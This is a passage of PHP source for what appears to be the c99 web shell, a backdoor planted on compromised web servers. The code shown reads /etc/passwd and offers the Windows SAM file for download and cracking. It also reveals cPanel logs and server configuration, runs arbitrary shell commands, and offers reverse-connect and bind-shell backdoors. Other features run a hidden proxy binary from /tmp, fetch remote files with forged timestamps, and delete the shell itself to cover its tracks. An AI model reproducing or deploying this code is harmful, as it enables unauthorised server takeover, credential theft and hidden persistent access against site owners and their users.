1683 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
1684 }
1685}
1686if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
1687if ($act == "security")
1688{
1689 echo "<center><b>Server Information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
1690 if (!$win)
1691 {
1692 if ($nixpasswd)
1693 {
1694 if ($nixpasswd == 1) {$nixpasswd = 0;}
1695 echo "<b>*nix /etc/passwd:</b><br>";
1696 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1697 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1698 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
1699 $i = $nixpwd_s;
1700 while ($i < $nixpwd_e)
1701 {
1702 $uid = posix_getpwuid($i);
1703 if ($uid)
1704 {
1705 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1706 echo join(":",$uid)."<br>";
1707 }
1708 $i++;
1709 }
1710 }
1711 else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
1712 }
1713 else
1714 {
1715 $v = $_SERVER["WINDIR"]."\repair\sam";
1716 if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
1717 else {echo "</br><b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
1718 }
1719 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
1720 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
1721 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1722 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1723 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
1724 if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
1725 if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
1726 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
1727 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
1728 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
1729 displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
1730 displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1731 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1732 displaysecinfo("RAM",myshellexec("free -m"));
1733 displaysecinfo("HDD space",myshellexec("df -h"));
1734 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1735 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1736 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1737 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1738 displaysecinfo("Is links installed?",myshellexec("which links"));
1739 displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
1740 displaysecinfo("Is GET installed?",myshellexec("which GET"));
1741 displaysecinfo("Is perl installed?",myshellexec("which perl"));
1742 displaysecinfo("Where is apache",myshellexec("whereis apache"));
1743 displaysecinfo("Where is perl?",myshellexec("whereis perl"));
1744 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
1745 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
1746 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
1747 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
1748}
1749if ($act == "mkfile")
1750{
1751 if ($mkfile != $d)
1752 {
1753 if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
1754 elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
1755 else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
1756 }
1757 else {$act = $dspact = "ls";}
1758}
1759if ($act == "encoder")
1760{
1761 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><b>Encoder:</b></br></br><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><br><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br><b>Hashes</b>:</br></br>";
1762 foreach(array("md5","crypt","sha1","crc32") as $v)
1763 {
1764 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
1765 }
1766 echo "</br><b>Url:</b><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
1767 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
1768 </br></br><b>Base64:</b></br> base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>";
1769 echo "</br>base64_decode - ";
1770 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
1771 else
1772 {
1773 $debase64 = base64_decode($encoder_input);
1774 $debase64 = str_replace("\0","[0]",$debase64);
1775 $a = explode("\r\n",$debase64);
1776 $rows = count($a);
1777 $debase64 = htmlspecialchars($debase64);
1778 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
1779 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
1780 echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b></b></a>";
1781 }
1782 echo "</br></br><b>Base convertations</b>:</br></br>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
1783 $c = strlen($encoder_input);
1784 for($i=0;$i<$c;$i++)
1785 {
1786 $hex = dechex(ord($encoder_input[$i]));
1787 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
1788 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
1789 }
1790 echo "\" readonly><br></form>";
1791}
1792if ($act == "backc")
1793{
1794 $ip = $_SERVER["REMOTE_ADDR"];
1795 $msg = $_POST['backcconnmsg'];
1796 $emsg = $_POST['backcconnmsge'];
1797 echo("<b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br>");
1798 echo("$msg");
1799 echo("$emsg");
1800}
1801
1802if ($act == "shbd"){
1803$msg = $_POST['backcconnmsg'];
1804$emsg = $_POST['backcconnmsge'];
1805echo("<b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
1806Bind Port: <input type='text' name='backconnectport' value='5992'>
1807<input type='hidden' name='use' value='shbd'>
1808<input type='submit' value='Install Backdoor'></form>");
1809echo("$msg");
1810echo("$emsg");
1811}
1812
1813
1814if ($act == "proxy") {
1815 cf("/tmp/hantu.tgz",$proxy_shit);
1816 ex("cd /tmp;tar -zxvf hantu.tgz");
1817 ex("cd /tmp;cd .setan;chmod 777 xh");
1818 ex("cd /tmp;cd .setan;chmod 777 httpd");
1819 ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
1820 checkproxyhost();
1821 $msg = $_POST['proxyhostmsg'];
1822 echo("$msg");
1823 unlink("/tmp/hantu.tgz");
1824 ex("cd /tmp; rm -r .setan");
1825}
1826
1827if ($act == "selfremove")
1828{
1829 if (($submit == $rndcode) and ($submit != ""))
1830 {
1831 if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); }
1832 else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
1833 }
1834 else
1835 {
1836 if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
1837 $rnd = rand(0,9).rand(0,9).rand(0,9);
1838 echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." </br></br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
1839 }
1840}
1841if ($act == "search"){
1842 echo "<b>Search file-system:</b></br></br>";
1843 if (empty($search_in)) {$search_in = $d;}
1844 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1845 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1846 if (!empty($submit))
1847 {
1848 $found = array();
1849 $found_d = 0;
1850 $found_f = 0;
1851 $search_i_f = 0;
1852 $search_i_d = 0;
1853 $a = array
1854 (
1855 "name"=>$search_name, "name_regexp"=>$search_name_regexp,
1856 "text"=>$search_text, "text_regexp"=>$search_text_regxp,
1857 "text_wwo"=>$search_text_wwo,
1858 "text_cs"=>$search_text_cs,
1859 "text_not"=>$search_text_not
1860 );
1861 $searchtime = getmicrotime();
1862 $in = array_unique(explode(";",$search_in));
1863 foreach($in as $v) {c99fsearch($v);}
1864 $searchtime = round(getmicrotime()-$searchtime,4);
1865 if (count($found) == 0) {echo "<b>No files found!</b>";}
1866 else
1867 {
1868 $ls_arr = $found;
1869 $disp_fullpath = TRUE;
1870 $act = "ls";
1871 }
1872 }
1873 echo "<form method=POST>
1874<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
1875<b>File/folder name: </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
1876<br><b>Directory:&nbsp;&nbsp; </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
1877<br><b>Text:</b>&nbsp;&nbsp;<input type=text name=\"search_text\" size=42 value=".htmlspecialchars($search_text).">
1878
1879<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
1880&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
1881&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
1882&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
1883<br><br><input type=submit name=submit value=\"Search\"></form>";
1884 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
1885}
1886if ($act == "chmod")
1887{
1888 $mode = fileperms($d.$f);
1889 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
1890 else
1891 {
1892 $form = TRUE;
1893 if ($chmod_submit)
1894 {
1895 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1896 if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
1897 else {$err = "Can't chmod to ".$octet.".";}
1898 }
1899 if ($form)
1900 {
1901 $perms = parse_perms($mode);
1902 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1903 }
1904 }
1905}
1906if ($act == "upload")
1907{
1908 $uploadmess = "";
1909 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1910 if (empty($uploadpath)) {$uploadpath = $d;}
1911 elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
1912 if (!empty($submit))
1913 {
1914 global $HTTP_POST_FILES;
1915 $uploadfile = $HTTP_POST_FILES["uploadfile"];
1916 if (!empty($uploadfile["tmp_name"]))
1917 {
1918 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1919 else {$destin = $userfilename;}
1920 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".</br></br>";}
1921 }
1922 elseif (!empty($uploadurl))
1923 {
1924 if (!empty($uploadfilename)) {$destin = $uploadfilename;}
1925 else
1926 {
1927 $destin = explode("/",$destin);
1928 $destin = $destin[count($destin)-1];
1929 if (empty($destin))
1930 {
1931 $i = 0;
1932 $b = "";
1933 while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
1934 }
1935 if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
1936 else
1937 {
1938 $st = getmicrotime();
1939 $content = @file_get_contents($uploadurl);
1940 $dt = round(getmicrotime()-$st,4);
1941 if (!$content) {$uploadmess .= "Can't download file!<br>";}
1942 else
1943 {
1944 if ($filestealth) {$stat = stat($uploadpath.$destin);}
1945 $fp = fopen($uploadpath.$destin,"w");
1946 if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
1947 else
1948 {
1949 fwrite($fp,$content,strlen($content));
1950 fclose($fp);
1951 if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
1952 }
1953 }
1954 }
1955 }
1956 }
1957 if ($miniform)
1958 {
1959 echo "<b>".$uploadmess."</b>";
1960 $act = "ls";
1961 }
1962 else
1963 {
1964 echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
1965Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
1966Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
1967Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
1968File-name (auto-fill): <input name=uploadfilename size=25><br><br>
1969<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
1970<input type=submit name=submit value=\"Upload\">
1971</form>";
1972 }
1973}
1974if ($act == "delete")
1975{
1976 $delerr = "";
1977 foreach ($actbox as $v)
1978 {
1979 $result = FALSE;
1980 $result = fs_rmobj($v);
1981 if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
1982 }
1983 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
1984 $act = "ls";
1985}
1986if (!$usefsbuff)
1987{
1988 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
1989}
1990else
1991{
1992 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
1993 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
1994 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
1995 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
1996 elseif ($actpastebuff)
1997 {
1998 $psterr = "";
1999 foreach($sess_data["copy"] as $k=>$v)
2000 {
2001 $to = $d.basename($v);
2002 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
2003 if ($copy_unset) {unset($sess_data["copy"][$k]);}
2004 }
2005 foreach($sess_data["cut"] as $k=>$v)
2006 {
2007 $to = $d.basename($v);
2008 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
2009 unset($sess_data["cut"][$k]);
2010 }
2011 c99_sess_put($sess_data);
2012 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
2013 $act = "ls";
2014 }
2015 elseif ($actarcbuff)
2016 {
2017 $arcerr = "";
2018 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
2019 else {$ext = ".tar.gz";}
2020 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
2021 $cmdline .= " ".$actarcbuff_path;
2022 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
2023 foreach($objects as $v)
2024 {
2025 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
2026 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
2027 if (is_dir($v))
2028 {
2029 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
2030 $v .= "*";
2031 }
2032 $cmdline .= " ".$v;
2033 }
2034 $tmp = realpath(".");
2035 chdir($d);
2036 $ret = myshellexec($cmdline);
2037 chdir($tmp);
2038 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
2039 $ret = str_replace("\r\n","\n",$ret);
2040 $ret = explode("\n",$ret);
2041 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
2042 foreach($sess_data["cut"] as $k=>$v)
2043 {
2044 if (in_array($v,$ret)) {fs_rmobj($v);}
2045 unset($sess_data["cut"][$k]);
2046 }
2047 c99_sess_put($sess_data);
2048 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
2049 $act = "ls";
2050 }
2051 elseif ($actpastebuff)
2052 {
2053 $psterr = "";
2054 foreach($sess_data["copy"] as $k=>$v)
2055 {
2056 $to = $d.basename($v);
2057 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
2058 if ($copy_unset) {unset($sess_data["copy"][$k]);}
2059 }
2060 foreach($sess_data["cut"] as $k=>$v)
2061 {
2062 $to = $d.basename($v);
2063 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
2064 unset($sess_data["cut"][$k]);
2065 }
2066 c99_sess_put($sess_data);
2067 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
2068 $act = "ls";
2069 }
2070}
2071if ($act == "cmd")
2072{
2073if (trim($cmd) == "ps aux") {$act = "processes";}
2074elseif (trim($cmd) == "tasklist") {$act = "processes";}
2075else
2076{
2077 @chdir($chdir);
2078 if (!empty($submit))
2079 {
2080 $execcmd = $_REQUEST['cmd'];
2081 echo "Result Of Locally Executed Command: <b>$execcmd</b></br>";
2082 $olddir = realpath(".");
2083 @chdir($d);
2084 $ret = myshellexec($cmd);
2085 $ret = convert_cyr_string($ret,"d","w");
2086 if ($cmd_txt)
2087 {
2088 $rows = count(explode("\r\n",$ret))+1;
2089 if ($rows < 10) {$rows = 10;}
2090 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2091 }
2092 else {echo $ret."<br>";}
2093 @chdir($olddir);
2094 }
2095 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
2096 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
2097}
2098}
2099if ($act == "ls")
2100{
2101 if (count($ls_arr) > 0) {$list = $ls_arr;}
2102 else
2103 {
2104 $list = array();
2105 if ($h = @opendir($d))
2106 {
2107 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
2108 closedir($h);
2109 }
2110 else {}
2111 }
2112 if (count($list) == 0) {echo "<center><b>Can't open folder ".htmlspecialchars($d)."</b></center>";}
2113 else
2114 {
2115 //Building array
2116 $objects = array();
2117 $vd = "f"; //Viewing mode
2118 if ($vd == "f")
2119 {
2120 $objects["head"] = array();
2121 $objects["folders"] = array();
2122 $objects["links"] = array();
2123 $objects["files"] = array();
2124 foreach ($list as $v)
2125 {
2126 $o = basename($v);
2127 $row = array();
2128 if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
2129 elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
2130 elseif (is_dir($v))
2131 {
2132 if (is_link($v)) {$type = "LINK";}
2133 else {$type = "DIR";}
2134 $row[] = $v;
2135 $row[] = $type;
2136 }
2137 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
2138 $row[] = filemtime($v);
2139 if (!$win)
2140 {
2141 $ow = posix_getpwuid(fileowner($v));
2142 $gr = posix_getgrgid(filegroup($v));
2143 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
2144 }
2145 $row[] = fileperms($v);
2146 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
2147 elseif (is_link($v)) {$objects["links"][] = $row;}
2148 elseif (is_dir($v)) {$objects["folders"][] = $row;}
2149 elseif (is_file($v)) {$objects["files"][] = $row;}
2150 $i++;
2151 }
2152 $row = array();
2153 $row[] = "<b>Name</b>";
2154 $row[] = "<b>Size</b>";
2155 $row[] = "<b>Modify</b>";
2156 if (!$win)
2157 {$row[] = "<b>Owner/Group</b>";}
2158 $row[] = "<b>Perms</b>";
2159 $row[] = "<b>Action</b>";
2160 $parsesort = parsesort($sort);
2161 $sort = $parsesort[0].$parsesort[1];
2162 $k = $parsesort[0];
2163 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
2164 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
2165 $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>";
2166 $row[$k] .= $y;
2167 for($i=0;$i<count($row)-1;$i++)
2168 {
2169 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
2170 }
2171 $v = $parsesort[0];
2172 usort($objects["folders"], "tabsort");
2173 usort($objects["links"], "tabsort");
2174 usort($objects["files"], "tabsort");
2175 if ($parsesort[1] == "d")
2176 {
2177 $objects["folders"] = array_reverse($objects["folders"]);
2178 $objects["files"] = array_reverse($objects["files"]);
2179 }
2180 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
2181 $tab = array();
2182 $tab["cols"] = array($row);
2183 $tab["head"] = array();
2184 $tab["folders"] = array();
2185 $tab["links"] = array();
2186 $tab["files"] = array();
2187 $i = 0;
2188 foreach ($objects as $a)
2189 {
2190 $v = $a[0];
2191 $o = basename($v);
2192 $dir = dirname($v);
2193 if ($disp_fullpath) {$disppath = $v;}
2194 else {$disppath = $o;}
2195 $disppath = str2mini($disppath,60);
2196 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
2197 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
2198 foreach ($regxp_highlight as $r)
2199 {
2200 if (ereg($r[0],$o))
2201 {
2202 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}
2203 else
2204 {
2205 $r[1] = round($r[1]);
2206 $isdir = is_dir($v);
2207 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
2208 {
2209 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
2210 $disppath = $r[2].$disppath.$r[3];
2211 if ($r[4]) {break;}
2212 }
2213 }
2214 }
2215 }
2216 $uo = urlencode($o);
2217 $ud = urlencode($dir);
2218 $uv = urlencode($v);
2219 $row = array();
2220 if ($o == ".")
2221 {
2222 $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2223 $row[] = "LINK";
2224 }
2225 elseif ($o == "..")
2226 {
2227 $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2228 $row[] = "LINK";
2229 }
2230 elseif (is_dir($v))
2231 {
2232 if (is_link($v))
2233 {
2234 $disppath .= " => ".readlink($v);
2235 $type = "LINK";
2236 $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2237 }
2238 else
2239 {
2240 $type = "DIR";
2241 $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2242 }
2243 $row[] = $type;
2244 }
2245 elseif(is_file($v))
2246 {
